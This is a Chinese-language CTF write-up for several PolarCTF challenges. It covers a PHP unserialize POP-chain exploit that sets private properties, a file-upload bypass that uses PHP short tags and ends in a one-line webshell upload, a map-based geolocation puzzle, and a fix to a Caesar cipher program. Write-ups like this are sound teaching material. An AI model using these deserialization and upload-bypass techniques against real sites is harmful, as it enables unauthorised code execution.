【web】phar —》私有属性赋值
当时遇到不知道privated该怎样赋值才可以,链子挺简单的,但是语法不熟悉
<?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {if (myWaf($_GET['file'])) {include($_GET['file']);} else {unserialize($_GET['data']);}
}
include(文件),这里很明显有文件包含漏洞
<?php
include 'f1@g.php';
function myWaf($data)
{if (preg_match("/f1@g/i", $data)) {echo "NONONONON0!";return FALSE;} else {return TRUE;}
}class A
{private $a;public function __destruct(){echo "A->" . $this->a . "destruct!";}
}class B
{private $b = array();public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{private $c = array();public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}
接下来就是构造链子,全是私有属性,使用
public function __construct()方法进行赋值
exp如下
<?phpclass A
{private $a;public function __construct(){$this->a=new B();}public function __destruct() //链子入口{echo "A->" . $this->a . "destruct!";}
}class B
{private $b = array('');public function __construct(){$this->b=array('kfc'=>new C());}public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{private $c = array();public function __construct(){$this->c=array('vm50'=>'flag');}public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}echo urlencode(serialize(new A()));
【web】uploader —》文件上传表单
<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){mkdir($sandBox,0755,true);
}
if($_FILES){move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";echo "文件类型: " . $_FILES["file"]["type"] . "<br>";echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";echo $sandBox;
}highlight_file(__FILE__);
这里没有文件上传的交互界面,得自己写个html表单来上传文件
用gpt进行生成,或者网上找到一个
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传表单</title>
</head>
<body>
<h2>上传文件</h2>
<form action="http://4670ddc5-bf03-46ea-8c8b-460ae906c629.www.polarctf.com:8090/" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file"><br><br><input type="submit" name="submit" value="上传">
</form>
</body>
</html>
如下图,上传文件成功的回显信息
如果直接上传php文件
会爆出502的错误
尝试抓包修改文件后缀
过滤了 <?php中的php
使用段标签
<?=phpinfo();?>
拼接好路径,尝试访问该文件
如下,成功访问
然后上传一句话
【misc】一小时十分钟后看海
当时对题目的理解有误,以为就是对所给图片的地方就是要找的地方,实际上是在这个地方,还有一小时十分钟的时间,才能去看海
结合当时的地点
可以看到有三个公交站的路线
高德地图上直接搜索
现在的思路就是要看,找一个海边的,而且时间差不多是一小时十分钟的
三个目标
有时候网上的和一些工具不一样生成的md5
【misc】加点儿什么
通过binwalk的分析得到两个文件
得到一个cpp文件
这里考察一点c++的基础,不是很懂也没关系
输入1的时候,是有正常回显的,但是输入2的时候没有正常回显
可以加密和解密的过程应该是差不多的,所以这里的思路就是对照着,这两个的区别在哪里就可以,找到可以输出的点
//加密
void Encryption()
{cout<<"请输入明文:"<<endl;gets(plaintext);cout<<"密文为:"<<endl;for(int i=0; plaintext[i] != '\0'; i++){if(plaintext[i] >= 'A' && plaintext[i] <= 'Z'){ciphertext[i] = (plaintext[i] - 'A' + K) % 26 + 'A';}else if (plaintext[i] >= 'a' && plaintext[i] <= 'z'){ciphertext[i]=(plaintext[i] - 'a' + K) % 26 + 'a';}elseciphertext[i] = plaintext[i];cout<<plaintext[i];}printf("\n");
}
解密
void Decryption()
{cout<<"请输入密文:"<<endl;gets(ciphertext);cout<<"明文为:"<<endl;for(int i=0; ciphertext[i] != '\0'; i++){if(ciphertext[i] >= 'A' && ciphertext[i] <= 'Z'){plaintext[i] = ((ciphertext[i] - 'A' - K) % 26 + 26)%26 + 'A';}else if (ciphertext[i] >= 'a' && ciphertext[i] <= 'z'){plaintext[i]=((ciphertext[i] - 'a' - K) % 26 + 26)%26 + 'a';}elseplaintext[i] = ciphertext[i];}printf("\n");
}
这两个对比很明显就解密少了个输出
cout<<plaintext[i];
加上即可(虽然和原来是一样的,哈哈)